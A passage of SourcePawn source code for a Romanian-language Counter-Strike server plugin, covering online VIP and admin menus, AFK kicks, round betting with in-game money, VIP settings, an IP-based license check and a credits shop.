	VipsOnline.SetTitle("----------------\nVipi Online: %d\n----------------", Vips);	
	if(Vips <= 0) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu sunt jucători online cu acces V.I.P!");
		Online(client);
		return Plugin_Handled;
	}
	if(Vips == 1) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Este doar un jucător online cu acces V.I.P!");
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Sunt \x04 %d\x01 jucători online cu acces V.I.P!", Vips);
	}
	VipsOnline.ExitBackButton = true;
	VipsOnline.Display(client, MENU_TIME_FOREVER);
	return Plugin_Continue;
}

public int VipsOnline_Handler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       Online(client);
	}
}

public float GetPlayedHours(int client)
{
	return float(MostActive_GetPlayTimeTotal(client)/3600);
}

public Action Comanda_AdminiOnline(int client, int args) 
{
	if(GetPlayedHours(client) >= 25.0)
	{
		Menu AdminsOnline  = new Menu(AdminsOnline_Handler);
		int Admins = 0;
		for(int index = 1; index <= MaxClients; index++)
		{
			if(IsClientInGame(index))
			{
				AdminId ClientAccess = GetUserAdmin(index);
				if(ClientAccess)
				{
					int AdminGroupsCount = GetAdminGroupCount(ClientAccess);
					for(int x = 0; x < AdminGroupsCount; x++) 
					{
						char GroupBuffer[32];
						if((GetAdminGroup(ClientAccess, x, GroupBuffer, sizeof(GroupBuffer)) != INVALID_GROUP_ID) && !StrEqual(GroupBuffer, "V.I.P")
						&& !StrEqual(GroupBuffer, "Miss") && !StrEqual(GroupBuffer, "Miss+V.I.P") && !StrEqual(GroupBuffer, "Slot") && !StrEqual(GroupBuffer, "Slot+V.I.P"))
						{
							Admins++;
							char AdminNameAndGroup[64];
							if(StrEqual(GroupBuffer, "Owner+V.I.P") || StrEqual(GroupBuffer, "Owner"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Owner] %N", index);
							}
							else if(StrEqual(GroupBuffer, "Co-Owner+V.I.P") || StrEqual(GroupBuffer, "Co-Owner"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Co-Owner] %N", index);
							}
							else if(StrEqual(GroupBuffer, "Supervizor+V.I.P") || StrEqual(GroupBuffer, "Supervizor"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Supervizor] %N", index);
							}
							else if(StrEqual(GroupBuffer, "Administrator+V.I.P") || StrEqual(GroupBuffer, "Administrator"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Administrator] %N", index);
							}
							else if(StrEqual(GroupBuffer, "Moderator+V.I.P") || StrEqual(GroupBuffer, "Moderator"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Moderator] %N", index);
							}
							else if(StrEqual(GroupBuffer, "Helper+V.I.P") || StrEqual(GroupBuffer, "Helper"))
							{
								Format(AdminNameAndGroup, sizeof(AdminNameAndGroup), "[Helper] %N", index);
							}
							AdminsOnline.AddItem("selected", AdminNameAndGroup, ITEMDRAW_DISABLED);
						}
					}
				}
			}
		}
		AdminsOnline.SetTitle("-------------------\nAdmini Online: %d\n-------------------", Admins);
		if(Admins <= 0) 
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu sunt admini online pe server!");
			Online(client);
			return Plugin_Handled;
		}
		if(Admins == 1) 
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Este doar un admin online pe server!");
		}
		else 
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Sunt \x04 %d\x01 admini online pe server!", Admins);
		}
		AdminsOnline.ExitBackButton = true;
		AdminsOnline.Display(client, MENU_TIME_FOREVER);
		return Plugin_Continue;
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai nevoie \x06Level 2\x01 pentru a utiliza comanda de admini online.[\x10Regular Player Level 2]");
		return Plugin_Handled;
	}
}

public int AdminsOnline_Handler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       Online(client);
	}
}

/* Sfârșit Online VIP & Admini */

/* Start Modele VIP */
public void CVarChanged(ConVar hConvar, char[] oldV, char[] newV)
{
	if(cv_ct == hConvar)
	{
		strcopy(g_ctmodel, 128, newV);
		if(!IsModelPrecached(g_ctmodel))
			PrecacheModel(g_ctmodel);
	}
	else if(cv_tt == hConvar)
	{
		strcopy(g_ttmodel, 128, newV);
		if(!IsModelPrecached(g_ttmodel))
			PrecacheModel(g_ttmodel);
	}
}

public Action ReModel(Handle timer, int client)
{
	timers[client] = null;
	
	if (!IsClientInGame(client) || !IsPlayerAlive(client) || IsClientRealVip(client) || IsClientFreeVip[client])return;
	
	char model[128];
	GetClientModel(client, model, sizeof(model));
	
	if(StrContains(model, "models/player/custom_player/legacy/") == -1) // player use a custom model by other plugin
		return;
	
	int team = GetClientTeam(client);
	
	if (team < 2)return;
	
	for (int i = 0; i < sizeof(Agents); i++)
	{
		if(StrEqual(model, Agents[i]))
		{
			if (team == CS_TEAM_CT)SetEntityModel(client, ctmodel);
			else SetEntityModel(client, tmodel);
			
			break;
		}			
	}
}
/* Sfârșit Modele VIP */

/* Start Hud Admini Online */

public Action HudAdminiOnline(Handle Timer)
{
	int HuhAdmins = 0;
	for(int index = 1; index <= MaxClients; index++)
	{
		if(IsClientInGame(index)) 
		{
			AdminId ClientAccess = GetUserAdmin(index);
			if(ClientAccess) 
			{
				int AdminGroupsCount = GetAdminGroupCount(ClientAccess);
				for(int x = 0; x < AdminGroupsCount; x++) 
				{
					char GroupBuffer[32];
					if( (GetAdminGroup( ClientAccess, x, GroupBuffer, sizeof( GroupBuffer ) ) != INVALID_GROUP_ID)) 
					{
						if(!StrEqual(GroupBuffer, "V.I.P") && !StrEqual(GroupBuffer, "Miss") 
						&& !StrEqual(GroupBuffer, "Miss+V.I.P") && !StrEqual(GroupBuffer, "Slot") && !StrEqual(GroupBuffer, "Slot+V.I.P"))
						{							
							HuhAdmins++;
						}
					}
				}
			}
		}
	}
	if (GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		for(int i = 1; i <= MaxClients; i++)
		{
			if(IsClientInGame(i))
			{
				if(HuhAdmins <= 0)
				{
					SetHudTextParams(-0.80, -1.50, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(i, -1, "Nu sunt admini online!");  
				}
				else
				{
					SetHudTextParams(-0.80, -1.50, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);  
					ShowHudText(i, -1, "Admini online: %d", HuhAdmins);
				}
			}
		}
	}
	return Plugin_Stop;
}
/*Sfârșit Hud Admini Online */

/* Start Licentă Plugin */
stock void LoadLicense()
{
    BuildPath(Path_SM, sciezka, sizeof(sciezka), "configs/mycompetitive_xsag/licență.ini");
    Handle h_file = OpenFile(sciezka, "a");
    char ip2[64];
    char data[64];
    char data2[64];
    GetServerIP(ip2, 64);
    if (StrEqual(IP, ip2))
    {
        FormatTime(data, sizeof(data), "%F");
        FormatTime(data2, sizeof(data2), "%T");
        WriteFileLine(h_file, "[%s - %s] [System] Licenta pluginului MyComepetitive by xSaG este valida. Pluginul a fost incarcat cu succes!", data, data2);
        CloseHandle(h_file);
    }
    else
    {
        FormatTime(data, sizeof(data), "%F");
        FormatTime(data2, sizeof(data2), "%T");
        WriteFileLine(h_file, "[ %s - %s ] [Systems] Licenta pluginului MyComepetitive by xSaG nu este valida. Pluginul nu a fost incarcat cu succes!", data, data2);
        LogError("[Licenta] Pluginul MyCompetitive by xSaG nu este licenția pe ip-ul: %s", ip2);
        SetFailState("[Licenta] Pluginul MyCompetitive by xSaG nu este licentiat pe ip-ul: %s", ip2);
        CloseHandle(h_file);
    }
}

stock void GetServerIP(char[] buffer, int len)
{
  int ips[4];
  int ip = GetConVarInt(FindConVar("hostip"));
  int port = GetConVarInt(FindConVar("hostport"));
  ips[0] = (ip >> 24) & 0x000000FF;
  ips[1] = (ip >> 16) & 0x000000FF;
  ips[2] = (ip >> 8) & 0x000000FF;
  ips[3] = ip & 0x000000FF;
  Format(buffer, len, "%d.%d.%d.%d:%d", ips[0], ips[1], ips[2], ips[3], port);
}
/* Sfârșit Licență Plugin */

/* Start Lider */
public void LeaderAnnounce()
{
	int Leader = FindLeader();
	int Frags = GetClientFrags(Leader);
	int Assists = 0;
	Assists = CS_GetClientAssists(Leader);
	int Deaths = GetClientDeaths(Leader);
	int Score = CS_GetClientContributionScore(Leader);
	int MVP = CS_GetMVPCount(Leader);
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i) && IsClientInGame(i) && GameRules_GetProp("m_bWarmupPeriod") == 0)
		{
			SetHudTextParams(-1.0, 0.7, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
			ShowHudText(i, 1, "%N are un scor de %i puncte\nși este liderul hărții\ncu [%i]✮, [%i]ucideri, [%i]asisturi și [%i]decese", Leader, Score, MVP, Frags, Assists, Deaths);  
		}
	}
}

stock int FindLeader()
{
	int Leader = 0;
	int Score = -1;
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && !IsClientSourceTV(i) && !IsFakeClient(i) && CS_GetClientContributionScore(i) > Score && GetClientTeam(i) != 1)
		{
			Score = CS_GetClientContributionScore(i);
			Leader = i;
		}
	}
	return Leader;
}
/* Sfârșit Lider */

public Action Auto_Meniu(Handle timer, any client)
{
	if(IsValidClient(client) && IsClientInGame(client))
	{
		Meniu(client);
		PrintToChat(client, " \x05[BOT]ESL\x01: Meniul principal a fost deschis automat. Dacă vrei să utilizezi pe viitor meniul poți apasă pe '\x06virgulă\x01' sau scriind \x06/meniu\x01.");   	
	}
}


public Action Salut(Handle timer, any client)
{
	if(IsValidClient(client) && IsClientInGame(client))
	{
		ClientCommand(client, "play \"*xsag/sunete/salut.mp3\"");
	}
}

/* Început AFK */
public Action CheckAfk(Handle hTimer, any iUserId)
{
	int iClient = GetClientOfUserId(iUserId);
	
	if(iClient && IsPlayerAlive(iClient) && !IsFakeClient(iClient) && g_bAfk[iClient])
	{
		if(--g_iTime[iClient] > 0)
		{
			if(g_iTime[iClient] > 10.0) return Plugin_Handled;
			else
			{
				SetGlobalTransTarget(iClient);
				SetHudTextParams(0.005, 0.5, 1.0, 255, 68, 68, 255, 0, 1.0, 0.1, 0.1);
				ShowHudText(iClient, -1, "[BOT]LGG: Ai %i secunde să te miști!", g_iTime[iClient]);
			}
			return Plugin_Continue;
		}
		g_iLimit[iClient]++;
		PrintToChat(iClient, " \x05[BOT]ESL\x01: Te-am omorât fiincă erai \x06AFK\x01! \x10Warning\x01: \06%i \x01/\x06 3\x01.", g_iLimit[iClient]);
		ForcePlayerSuicide(iClient);
		
		if(g_iLimit[iClient] >= 3)
		{
			g_iLimit[iClient] = 0;	
			ChangeClientTeam(iClient, 1);
			PrintToChat(iClient, " \x05[BOT]ESL\x01: Te-am mutat la specator fiincă erai \x06AFK\x01!");
		}
	}
	
	g_bAfk[iClient] = true;
	g_iTime[iClient] = 30;
	
	return Plugin_Handled;
}
public Action OnPlayerTeam(Handle event, const char[] name, bool dontBroadcast)
{	
	int userid = GetEventInt(event, "userid");
	int client = GetClientOfUserId(userid);
	
	if(GetAdminFlag(GetUserAdmin(client), Admin_Custom1) || GetAdminFlag(GetUserAdmin(client), Admin_Kick))
		return Plugin_Handled;
	
	int team = GetEventInt(event, "team");
	if (team == 1)
	{
		float time = 600.0;
		CreateTimer(time, SpectatorTimer, client);
		return Plugin_Handled;
	}
	return Plugin_Handled;
}

public Action SpectatorTimer(Handle timer, any client)
{
	if (!client || !IsClientInGame(client) || (GetClientTeam(client) != 1))
		return Plugin_Handled;
	else	
		KickClient(client, "Ai primit kick de la [BOT]ESL pentru că ai stat prea mult la spectator");
	return Plugin_Handled;
}
/* Sfârșit AFK */

public bool OnClientConnect(int client, char[] rejectmsg, int maxlen)
{
	g_iPlayerBetData[client][BET_AMOUNT] = 0;
	g_iPlayerBetData[client][BET_TEAM] = 0;
	g_iPlayerBetData[client][BET_WIN] = 0;
	g_bPlayerBet[client] = false;
	
	return true;
}

/* Început Pariuri */
public Action Command_Say(int client, int args)
{
	char szText[192];
	GetCmdArgString(szText, sizeof(szText));
	int startarg = 0;
	if(szText[0] == '"')
	{
		startarg = 1;
		/* Strip the ending quote, if there is one */
		int szTextlen = strlen(szText);
		if (szText[szTextlen-1] == '"')
		{
			szText[szTextlen-1] = '\0';
		}
	}
	char szParts[3][16];
  	ExplodeString(szText[startarg], " ", szParts, 3, 16);
 	if(strcmp(szParts[0],"pariu",false) == 0)
	{
		if(GameRules_GetProp("m_bWarmupPeriod") == 1)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu poți pune un pariu în WarmUp.");
			return Plugin_Handled;
		}
		else if(GetClientTeam(client) <= 1)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu poți pune un pariu când ești spectator.");
			return Plugin_Handled;
		}
		else if(g_bPlayerBet[client])
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Ai pus deja un pariu runda aceasta.");
			return Plugin_Handled;	
		}
		else if(IsAlive(client))
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Poți pune un pariu doar când ești mort.");
			return Plugin_Handled;
		}
		else if(strcmp(szParts[1],"ct",false) != 0 && strcmp(szParts[1],"t", false) != 0)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Echipă invalidă, folosește 'ct' sau 't'.");
			return Plugin_Handled;
		}
		else if(strcmp(szParts[1],"ct",false) == 0 || strcmp(szParts[1],"t", false) == 0)
		{
	
			int iAmount = 0, iBank = GetMoney(client);
			if (strcmp(szParts[2],"tot",false) == 0)
			{
				iAmount = iBank;
			}
			if(strcmp(szParts[2],"jumate", false) == 0)
			{
				iAmount = (iBank / 2) + 1;
			}

			if(iAmount < 1)
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: Pariu invalid, folosește 'tot' sau 'jumate'.");
				return Plugin_Handled;
			}		
			if(iAmount > iBank || iBank < 1)
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: Nu ai bani ca să poți pune un pariu.");
				return Plugin_Handled;
			}
	
			int iOdds[2] = {0, 0}, iTeam;
			for(int i = 1; i <= MaxClients; i++)
			{
				if (IsClientInGame(i) && IsAlive(i))
				{
					iTeam = GetClientTeam(i);
					if (iTeam == 2)
					{
						iOdds[0]++;
					}
					else if (iTeam == 3)
					{
						iOdds[1]++;
					}
				}
			}
			if(iOdds[0] < 1 || iOdds[1] < 1)
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: Runda s-a terminat, nu mai poți paria.");
				return Plugin_Handled;
			}
			g_iPlayerBetData[client][BET_AMOUNT] = iAmount;
			g_iPlayerBetData[client][BET_TEAM] = (strcmp(szParts[1],"t",false) == 0 ? 2 : 3);
			int iWin;
			if (g_iPlayerBetData[client][BET_TEAM] == 2)
			{
				iWin = RoundToNearest((float(iOdds[1]) / float(iOdds[0])) * float(iAmount));
				PrintToChat(client, " \x05[BOT]ESL\x01: Ți-am plasat un pariu pe \x09T\x01 de \x06%d$\x01 și ai un căștig de \x06%d$\x01.", g_iPlayerBetData[client][BET_AMOUNT], iWin);
			}
			else
			{
				iWin = RoundToNearest((float(iOdds[0]) / float(iOdds[1])) * float(iAmount));
				PrintToChat(client, " \x05[BOT]ESL\x01: Ți-am plasat un pariu pe \x0BCT\x01 de \x06%d$\x01 și ai un căștig de \x06%d$\x01.", g_iPlayerBetData[client][BET_AMOUNT], iWin);
			}
			g_iPlayerBetData[client][BET_WIN] = iWin;
			g_bPlayerBet[client] = true;
			SetMoney(client, iBank - iAmount);
			return Plugin_Handled;
		}
	}
	return Plugin_Continue;
}

public Action MeniuPariu(int client) 
{
	Menu meniu_pariu = new Menu(MeniuPariuHandler);
	meniu_pariu.SetTitle("[BOT]ESL: Pe ce echipă vrei să pariezi?");
	meniu_pariu.AddItem("", "Anti-Teroriști");
	meniu_pariu.AddItem("", "Teroriști");
	meniu_pariu.AddItem("", "Nu vreau să pariez");
	meniu_pariu.Display(client, MENU_TIME_FOREVER);
}

public int MeniuPariuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				PariuCT(client);
			}
			case 1:
			{
				PariuT(client);
			}
			case 2:
			{
				delete menu;
				PrintToChat(client, " \x05[BOT]ESL\x01: Dacă te răzgândești scrie \x06/pariu\x01 sau intră în meniul principal și acceseză categoria sisteme.");
			}
		}
	}
}

public Action PariuCT(int client) 
{
	Menu meniu_pariu = new Menu(PariuCTHandler);
	meniu_pariu.SetTitle("[BOT]ESL: Cât vrei să pariezi pe CT?");
	meniu_pariu.AddItem("", "Pariez toți banii");
	meniu_pariu.AddItem("", "Pariez jumate din bani");
	meniu_pariu.AddItem("", "Vreau să schimb echipa");
	meniu_pariu.Display(client, MENU_TIME_FOREVER);
}

public int PariuCTHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				FakeClientCommand(client, "say pariu ct tot");
			}
			case 1:
			{
				FakeClientCommand(client, "say pariu ct jumate");
			}
			case 2:
			{
				MeniuPariu(client);
			}
		}
	}
}

public Action PariuT(int client) 
{
	Menu meniu_pariu = new Menu(PariuTHandler);
	meniu_pariu.SetTitle("[BOT]ESL: Cât vrei să pariezi pe T?");
	meniu_pariu.AddItem("", "Pariez toți banii");
	meniu_pariu.AddItem("", "Pariez jumate din bani");
	meniu_pariu.AddItem("", "Vreau să schimb echipa");
	meniu_pariu.Display(client, MENU_TIME_FOREVER);
}

public int PariuTHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				FakeClientCommand(client, "say pariu t tot");
			}
			case 1:
			{
				FakeClientCommand(client, "say pariu t jumate");
			}
			case 2:
			{
				MeniuPariu(client);
			}
		}
	}
}
 
public bool IsAlive(int client)
{
	if(g_iLifeState != -1 && GetEntData(client, g_iLifeState, 1) == LIFE_ALIVE)
		return true;
	
	return false;
} 

public int SetMoney(int client, int amount)
{
	if(g_iAccount != -1)
		SetEntData(client, g_iAccount, amount);
}

public int GetMoney(int client)
{
	if(g_iAccount != -1)
		return GetEntData(client, g_iAccount);
	
	return 0;
}
public Action Comanda_Pariu(int client, int args)
{
	MeniuPariu(client);
	return Plugin_Handled;
}
/* Sârșit Pariuri */

public Action Command_ToggleSettings(int client, int args)
{
	if(IsClientRealVip(client))
	{
		ShowClientVipSettingsMenu(client);
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai nevoie de \x10V.I.P Premium\x01 pentru a avea acces la acestă comandă!");
	}
}

public Action ShowClientVipSettingsMenu(int client)
{
	Menu VipSettings = new Menu(VipSettings_Handler);
	VipSettings.SetTitle("----------------\nSetări V.I.P\n----------------");

	if(warnbhop[client] == 3)
	{
		VipSettings.AddItem("", "Auto-Bhop [Banat]", ITEMDRAW_DISABLED);
	}
	else if(warnbhop[client] >= 0 && warnbhop[client] < 3)
	{
		if( CanBhop[client])
		{
			VipSettings.AddItem("", "Auto-Bhop [Activat]");
		}
		else
		{
			VipSettings.AddItem("", "Auto-Bhop [Dezactivat]");
		}
	}

	if(CanEmitTracers[client])
	{
		VipSettings.AddItem("", "Bullet Tracers [Activat]");
	}
	else
	{
		VipSettings.AddItem("", "Bullet Tracers [Dezactivat]");
	}
	VipSettings.ExitBackButton = true;
	VipSettings.Display(client, MENU_TIME_FOREVER);
}

public int VipSettings_Handler(Handle VipSettings, MenuAction action, int client, int menu)
{
	if(action == MenuAction_Cancel && menu == MenuCancel_ExitBack)
	{
		Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char Info[32];
		GetMenuItem(VipSettings, menu, Info, sizeof(Info));
		switch(menu) 
		{
			case 0:
			{				
				if(CanBhop[client])
				{
					CanBhop[client] = false;
					SetClientCookie(client, BhopCookie, "0");
					PrintToChat(client, " \x04[VIP]\x05 Auto-Bhop\x03 a fost dezactivat!");
				}
				else {
					CanBhop[client] = true;
					SetClientCookie(client, BhopCookie, "1");
					PrintToChat(client, " \x04[VIP]\x05 Auto-Bhop\x03 a fost activat!");
				}
			}
			case 1:
			{
				if(CanEmitTracers[client])
				{
					CanEmitTracers[client] = false;
					SetClientCookie(client, TracersCookie, "0");
					PrintToChat(client, " \x04[VIP]\x05 Bullet tracers\x03 a fost dezactivat!");
				}
				else
				{
					CanEmitTracers[client] = true;
					SetClientCookie(client, TracersCookie, "1");
					PrintToChat(client, " \x04[VIP]\x05 Bullet tracers\x03 a fost activat!");
				}
			}
		}
	}
}

public Action Comanda_SetareCredite(int client,int args)
{
	char steamId[64];
	GetClientAuthId(client, AuthId_SteamID64, steamId, sizeof(steamId));
	if (StrEqual(steamId, "76561199016649267") || StrEqual(steamId, "76561198840173237"))
	{
		if(client == 0)
		{
			PrintToServer("%t","Command is in-game only");
			return Plugin_Handled;
		}
		
		if(args < 2)
		{
			ReplyToCommand(client, "[SM] Use: sm_setcredite <#userid|name> [cantitate]");
			return Plugin_Handled;
		}
		char arg2[10];
		GetCmdArg(2, arg2, sizeof(arg2));
		int amount = StringToInt(arg2);
		char strTarget[32];
		GetCmdArg(1, strTarget, sizeof(strTarget));
		char strTargetName[MAX_TARGET_LENGTH]; 
		int TargetList[MAXPLAYERS], TargetCount; 
		bool TargetTranslate; 
	
		if ((TargetCount = ProcessTargetString(strTarget, client, TargetList, MAXPLAYERS, COMMAND_FILTER_CONNECTED, 
	                                           strTargetName, sizeof(strTargetName), TargetTranslate)) <= 0) 
		{ 
			ReplyToTargetError(client, TargetCount); 
			return Plugin_Handled; 
		}
	
		for (int i = 0; i < TargetCount; i++) 
		{ 
			int iClient = TargetList[i]; 
			if (IsClientInGame(iClient))
			{ 
				Credite[iClient] = amount+ Credite[iClient];
				PrintToChat(client, " \x05[BOT]ESL\x01: I-ai setat %i credite lui %N", amount, iClient);
				
				char logsetcredite[PLATFORM_MAX_PATH];
				BuildPath(Path_SM, logsetcredite, sizeof(logsetcredite), "configs/mycompetitive_xsag/loguri/setcredite.log");
				LogToFileEx(logsetcredite, "%N i-a adaugat %i credite lui %N.", client, amount, iClient);
			} 
		}
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu ai permisie să oferi credite!");
	}
	return Plugin_Continue;
}

public Action Comanda_BeneficiiVip(int client, int args)
{
	WikiVip(client);
	return Plugin_Handled;
}

public Action Comanda_ShopMenu(int client, int args)
{
	if((GameRules_GetProp("m_bWarmupPeriod")) == 0)
	{
		if(GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
		{
			if(IsPlayerAlive(client))
			{
				Menu shop_tero = new Menu(TShopHandler);
				shop_tero.SetTitle("Shop (În lucru)\n----------------\nCredite: %i\n----------------", Credite[client]);
				if(RoundsPassed > 1)
				{
					shop_tero.AddItem("", "Echipament");
				}
				else
				{
					shop_tero.AddItem("", "Echipament (Activ după runda 1)", ITEMDRAW_DISABLED);
				}
				shop_tero.AddItem("", "Prim Ajutor");
				shop_tero.AddItem("", "Abilități");
				shop_tero.AddItem("", "Cutii");
				if(BlocareSaySounds[client] == 0)
				{
					shop_tero.AddItem("", "Say Sounds (0/1|R)");
				}
				else
				{
					shop_tero.AddItem("", "Say Sounds (1/1|R)", ITEMDRAW_DISABLED);
				}
				shop_tero.AddItem("", "Cumpără credite cu $ (În lucru)", ITEMDRAW_DISABLED);
				shop_tero.ExitBackButton = true;
				shop_tero.Display(client, MENU_TIME_FOREVER);
			}
			else
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: Poți să folosești shop-ul doar când ești în viată!");
			}
		}
		else
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Poți să folosești shop-ul doar la T / CT");
		}
	}
	else if((GameRules_GetProp("m_bWarmupPeriod")) == 1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu poți să folosești shop-ul în WarmUp");
	}
	return Plugin_Handled;
}

public int TShopHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_meniu");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				Armament(client);
			}
			case 1:
			{
				Consumabile(client);
			}
			case 2:
			{
				Abilitati(client);
			}
			case 3:
			{
				Cutii(client);
			}
			case 4:
			{
				MeniuSaySounds(client);
			}
		}
	}
}

stock bool ContactOwneri(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_armedefoc = new Menu(ContactOwneriMenuHandler);
		meniu_armedefoc.SetTitle("----------------\nOwneri\n----------------");
		meniu_armedefoc.AddItem("", "Leo");
		meniu_armedefoc.AddItem("", "Pinu");
		meniu_armedefoc.ExitBackButton = true;
		meniu_armedefoc.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;	
}

public int ContactOwneriMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       WikiServer(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				FakeClientCommand(client, "sm_leo");
			}
			case 1:
			{
				FakeClientCommand(client, "sm_pinu");
			}
		}
	}
}

stock bool Abilitati(int client)
{
	if (IsPlayerAlive(client) && (GetClientTeam(client) == 2 || GetClientTeam(client) == 3))
	{
		Menu meniu_armedefoc = new Menu(AbilitatiMenuHandler);
		meniu_armedefoc.SetTitle("----------------\nAbilitați\nCredite: %i\n----------------", Credite[client]);
		if(IsClientRealVip(client))
		{
			if(vipdoubleshop[client] == 0)
			{
				if(Credite[client] >= 20)
				{
					meniu_armedefoc.AddItem("", "Double Jump |Only V.I.P / După moarte dispare| (0/1) - [20 Credite]");
				}
				if(Credite[client] < 20)
				{
					meniu_armedefoc.AddItem("", "Double Jump |Only V.I.P / După moarte dispare| (0/1) - [20 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "Double Jump |Only V.I.P / După moarte dispare| (1/1) - [20 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Double Jump |Only V.I.P / După moarte dispare| (0/1) - [20 Credite]", ITEMDRAW_DISABLED);
		}
		if(IsClientRealVip(client))
		{
			if(VipSpeedShop[client] == 0)
			{
				if(Credite[client] >= 5000)
				{
					meniu_armedefoc.AddItem("", "Cu 10% mai multă viteză |Only V.I.P / Permanent| (0/1) - [5000 Credite]");
				}
				if(Credite[client] < 5000)
				{
					meniu_armedefoc.AddItem("", "Cu 10% mai multă viteză |Only V.I.P / Permanent| (0/1) - [5000 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "Cu 10% mai multă viteză |Only V.I.P / Permanent| (1/1) - [5000 Credite]", ITEMDRAW_DISABLED);
			}
		}
		else
		{
			meniu_armedefoc.AddItem("", "Cu 10% mai multă viteză |Only V.I.P / Permanent| (0/1) - [5000 Credite]", ITEMDRAW_DISABLED);
		}
		
		if(IsClientRealVip(client))
		{
			meniu_armedefoc.AddItem("", "Auto-Bhop (Ai deja Bhop, ești V.I.P Premium)", ITEMDRAW_DISABLED);
		}
		else
		{
			if(BhopShop[client] == 0)
			{
				if(Credite[client] >= 5000)
				{
					meniu_armedefoc.AddItem("", "Auto-Bhop |Permanent| (0/1) - [5000 Credite]");
				}
				if(Credite[client] < 5000)
				{
					meniu_armedefoc.AddItem("", "Auto-Bhop |Permanent| (0/1) - [5000 Credite]", ITEMDRAW_DISABLED);
				}
			}
			else
			{
				meniu_armedefoc.AddItem("", "Auto-Bhop |Permanent| (1/1) - [5000 Credite]", ITEMDRAW_DISABLED);
			}
		}
		meniu_armedefoc.ExitBackButton = true;
		meniu_armedefoc.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;	
}

public int AbilitatiMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_shop");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				Credite[client] -= 20;
				tombolacredite += 20 / 2;
				vipdoubleshop[client] = 1;
				SwitchDJ[client] = 1;
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06Double Jump\x01 din shop, iar \x10Bhop-ul\x01 a fost dezactivat!\x10[După moarte dispare]");
			}
			case 1:
			{
				Credite[client] -= 5000;
				tombolacredite += 5000 / 2;
				VipSpeedShop[client] += 1;
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06Viteză suplimentară\x01 din shop.\x10[Permanent]\x01 Se va activa runda viitoare!");
			}
			case 2:
			{
				Credite[client] -= 5000;
				tombolacredite += 5000 / 2;
				BhopShop[client] = 1;
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x06Auto-Bhop\x01 din shop.\x10[Permanent]");
			}
		}
	}
}

stock bool Cutii(int client)
{
	if (IsPlayerAlive(client) && (GetClientTeam(client) == 2 || GetClientTeam(client) == 3))
	{
		Menu meniu_cutii = new Menu(CutiiMenuHandler);
